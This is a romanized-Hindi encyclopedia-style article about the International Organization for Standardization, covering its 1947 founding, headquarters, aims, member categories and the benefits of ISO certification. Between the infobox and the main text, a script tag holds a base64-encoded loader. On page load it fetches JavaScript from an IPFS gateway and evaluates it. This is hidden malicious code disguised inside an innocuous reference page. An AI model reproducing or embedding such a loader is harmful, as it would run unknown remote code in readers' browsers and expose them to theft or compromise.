अंतरराष्ट्रीय मानकीकरण संगठन
aantararashtriy manakikaran sangathan
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| vivaran | 'aantararashtriy manakikaran sangathan' ek gair-sarakari sangathan hai jo vishv ke vibhinn deshoan mean vastuoan evan sevaoan ki gunavatta ke lie mapadand nirdharit karata hai. |
| sthapana | 23 faravari, 1947 |
| prakar | gair-sarakari sangathan |
| uddeshy | aantarrashtriy manakikaran |
| mukhyalay | jineva, svitjaralaiand |
| any janakari | samany roop se vah kampaniyaan jo apana utpad bajar mean bechati haian, unake lie ISO pramanapatr bahut hi mahatvapoorn hota hai |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aantararashtriy manakikaran sangathan, sankshipt- 'aeeeso' (aangrezi: International Organization for Standardization or ISO) anek takaniki aur gair-takaniki kshetroan ke manakikaran se sanbandhit hai. yah ek gair-sarakari sangathan hai jo vishv ke vibhinn deshoan mean vastuoan evan sevaoan ki gunavatta ke lie mapadand nirdharit karata hai. aeeeso ne lagabhag 22,041 aantararashtriy manakoan ko prakashit kiya hai. aeeeso ke manak praman patr udyog krishi, praudyogiki, khady suraksha aur svasthy ke kshetr se ju de hue haian. takaniki vikas ke parinamasvaroop huye parivartanoan ke samavesh ke liye pratyek 5 mean manakoan ki samiksha ki jati hai. aj aeeeso unnat padarthoan, jiv vijnan, nagarikaran tatha seva jaise naye kshetroan ke manakikaran mean bhi sakriy hai.
itihas
aantararashtriy manakikaran sangathan ki sthapana 23 faravari, 1947 mean jeneva mean huee thi. isaki pahali baithak landan mean 14 aktoobar, 1946 mean huee thi. aeeeso ka mukhyalay jineva, svitjaralaiand mean hai. pratham aeeeso manak ka prakashan 1951 mean hua tatha vah manak audyogik lanbaee map se sanbandhit tha.
uddeshy
is sangathan ke gathan ke pramukh uddeshyoan mean aantarrashtriy star par vastuoan, sevaoan aur pranaliyoan ki gunavatta, suraksha aur dakshata sunishchit karane ke lie manakikaran aur sambandhit gatividhiyoan ke vikas ko protsahit karana, bauddhik, vaijnanik, takaniki aur arthik gatividhiyoan mean sahayog vikasit karana adi shamil hai. jo utpad aur sevaean aeeeso dvara tay kiye ge manakoan par khare utarate haian, unako bechana kisi bhi kampani ke lie bahut asan ho jata hai.
sadasy
janavari 2018 ke anusar, aantararashtriy manakikaran sangathan ke sadasy deshoan ki sankhya 162 haian. har ek sadasy ek rashtriy nikay hota hai tatha vah apane desh ke manakikaran ka sabase adhik pratinidhitv karata hai. pratyek desh ka pratinidhitv karane ke liye ek sadasy hota hai. pashchimi audyogik deshoan ke sadasy samanyataya niji sangathan hote haian, jabaki any deshoan ke sadasy prayah sarakari sangathan hote haian.
shreniyaan
- sadasy sansthaean - ve rashtriy sansthaean haian, jo ki pratyek desh mean sarvadhik pratinidhitv manak sanstha mani jati haian. keval in sadasyoan ko matadan ka adhikar hai.
- pratinidhi sadasy - pratinidhi sadasy mean ve rashtr shamil haian, jinaka apana koee manak sangathan nahian hai. in sadasyoan ko aeeeso ki gatividhiyoan se suvijn rakha jata hai, lekin ye manak prakhyapan ya pravartan mean bhag nahian lete.
- aanshadata ya upabhokta sadasy - aanshadata ya upabhokta sadasyoan mean chhoti arthavyavastha vale rashtr shamil hote, jo ghati sadasyata shulk dete haian, parantu manakoan ke vikas ka anusaran kar sakate haian.
labh
samany roop se vo kampaniyaan jo apana utpad bajar mean bechati haian, unake lie aeeeso pramanapatr bahut hi mahatvapoorn hota hai, kyoki isase kampani ko kee prakar ke phayade hote haian, jaise-
- aeeeso pramanapatr kampani ki gunavata aur shuddhata ka pratik mana jata hai.
- isase kampani ke prodakt ki market mean vishvaniyata badhati hai.
- yah kampani ki audyogik aur vanijyikata ko badhava deta hai.
- prodakt ki gunavatta mean sudhar hota hai aur lagat kam hoti hai.
- aeeeso pramanapatr se kampani ke grahakoan ke hitoan ki raksha hoti hai.
saral shabdoan mean kaha jae to aeeeso pramanapatr kampani ke lie bahut hi jaroori hota hai, kyoanki yah ek tarah se kanpani ko nee saf-suthari chhavi pradan karata hai.
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